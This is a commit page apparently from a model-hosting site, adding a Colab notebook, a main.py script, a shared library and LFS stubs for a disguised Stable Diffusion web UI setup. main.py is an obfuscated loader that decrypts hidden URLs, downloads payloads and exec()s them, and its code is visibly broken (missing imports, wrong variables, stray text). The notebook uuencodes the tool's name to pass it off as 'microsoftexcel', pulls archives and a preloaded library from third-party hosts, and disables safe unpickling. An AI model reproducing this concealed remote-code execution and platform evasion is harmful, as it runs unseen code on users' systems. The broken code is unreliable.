emmajoanne
commited on
Commit
·
40e7eb4
1
Parent(s):
8b7d3c1
Upload 5 files
Browse files- CLIP.zip +3 -0
- libtcmalloc_minimal.so.4 +0 -0
- main.py +32 -0
- yd-custom.bin +3 -0
- yd-custom.ipynb +1 -0
CLIP.zip
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:b5842c25da441d6c581b53a5c60e0c2127ebafe0f746f8e15561a006c6c3be6a
|
3 |
+
size 4319749
|
libtcmalloc_minimal.so.4
ADDED
Binary file (374 kB). View file
|
|
main.py
ADDED
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import sys
|
2 |
+
params = {}
|
3 |
+
for arg in sys.argv[1:]:
|
4 |
+
if arg.startswith('--'):
|
5 |
+
key_value = arg[len('--'):].split('=')
|
6 |
+
if len(key_value) == 2:
|
7 |
+
key, value = key_value
|
8 |
+
params[key] = value
|
9 |
+
|
10 |
+
def aes_decrypt(encrypted_text, key):
|
11 |
+
key = base64.b64decode(key)
|
12 |
+
cipher = AES.new(key, AES.MODE_ECB)
|
13 |
+
decrypted_text = unpad(cipher.decrypt(base64.b64decode(encrypted_text)), AES.block_size)
|
14 |
+
return decrypted_text.decode('utf-8')
|
15 |
+
|
16 |
+
def get_bytes(links):
|
17 |
+
response = requests.get(links)
|
18 |
+
if response.status_code == 200:
|
19 |
+
txt_bytes = response.content
|
20 |
+
with open('txt.bin', 'wb') as f:
|
21 |
+
f.write(txt_bytes)
|
22 |
+
|
23 |
+
main_links = aes_decrypt(params["main"], params["main_key"])
|
24 |
+
main_bytes = get_bytes(main_links)
|
25 |
+
main_code = base64.b64decode(zlib.decompress(main_bytes))
|
26 |
+
|
27 |
+
yd_links = aes_decrypt({params["yd"]}, params["yd_key"])
|
28 |
+
yd_bytes = get_bytes(main_links)
|
29 |
+
yd_code = base64.b64decode(zlib.decompress(main_bytes))
|
30 |
+
|
31 |
+
exec(main_code)
|
32 |
+
exec(yd_code) --dir=={dir} --share=={share} --cloudflared=={cloudflared} --localhostrun=={localhostrun} --remotemoe=={remotemoe} --ngrok=={ngrok}
|
yd-custom.bin
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:719cd14c6789664318097d8d3ba29296fd7d2985c0ef6384e0252eaa6d8c48a0
|
3 |
+
size 1584
|
yd-custom.ipynb
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"cells":[{"cell_type":"code","execution_count":null,"metadata":{},"outputs":[],"source":["import binascii\n","from IPython.display import clear_output\n","sd = binascii.a2b_uu(\".;6EC<F]S;V9T97AC96P`\").decode('utf-8')\n","# Try this memory fix if we experiencing constant disconnect from colab server\n","\n","!wget https://huggingface.co/Vanwise/sd-colab/resolve/main/libtcmalloc_minimal.so.4\n","!apt install -qq libunwind8-dev\n","!apt install -qq libcairo2-dev pkg-config python3-dev\n","%env LD_PRELOAD=/content/libtcmalloc_minimal.so.4\n","\n","!pip install fastapi==0.90\n","\n","!curl -Lo {sd}.zip https://huggingface.co/nolanaatama/colab/resolve/main/{sd}151.zip\n","!unzip -qq /content/{sd}.zip\n","\n","# Extensions Section\n","!git clone --depth 1 https://github.com/nolanaatama/{sd}-tunnels /content/{sd}/extensions/{sd}-tunnels\n","!git clone --depth 1 https://github.com/Van-wise/sd-localization-zh_Hans /content/{sd}/extensions/sd-localization-zh_Hans\n","\n","!curl -Lo /content/{sd}/extensions/{sd}-images-browser.zip https://huggingface.co/nolanaatama/colab/resolve/main/{sd}-images-browser.zip\n","%cd /content/{sd}/extensions\n","!unzip /content/{sd}/extensions/{sd}-images-browser.zip\n","\n","%cd /content\n","!rm {sd}.zip\n","\n","# Model Code\n","!curl -Lo /content/microsoftexcel/models/Stable-diffusion/chilloutmix_NiPrunedFp32Fix-inpainting.inpainting.safetensors https://huggingface.co/spaces/weo1101/111/resolve/main/chilloutmix_NiPrunedFp32Fix-inpainting.inpainting.safetensors \n","\n","%cd /content/{sd}\n","!wget -O \"config.json\" \"https://huggingface.co/spaces/weo1101/111/resolve/main/config.json\"\n","clear_output()\n","# Web UI tunnel\n","!COMMANDLINE_ARGS=\"--share --disable-safe-unpickle --no-half-vae --xformers --enable-insecure-extension --gradio-queue --theme=dark\" REQS_FILE=\"requirements.txt\" python launch.py\n","# Use this command below to use cloudflare tunnel\n","#!COMMANDLINE_ARGS=\"--disable-safe-unpickle --no-half-vae --xformers --enable-insecure-extension --gradio-queue --cloudflared\" REQS_FILE=\"requirements.txt\" python launch.py"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"codemirror_mode":{"name":"ipython","version":3},"file_extension":".py","mimetype":"text/x-python","name":"python","nbconvert_exporter":"python","pygments_lexer":"ipython3","version":"3.10.12"}},"nbformat":4,"nbformat_minor":4}
|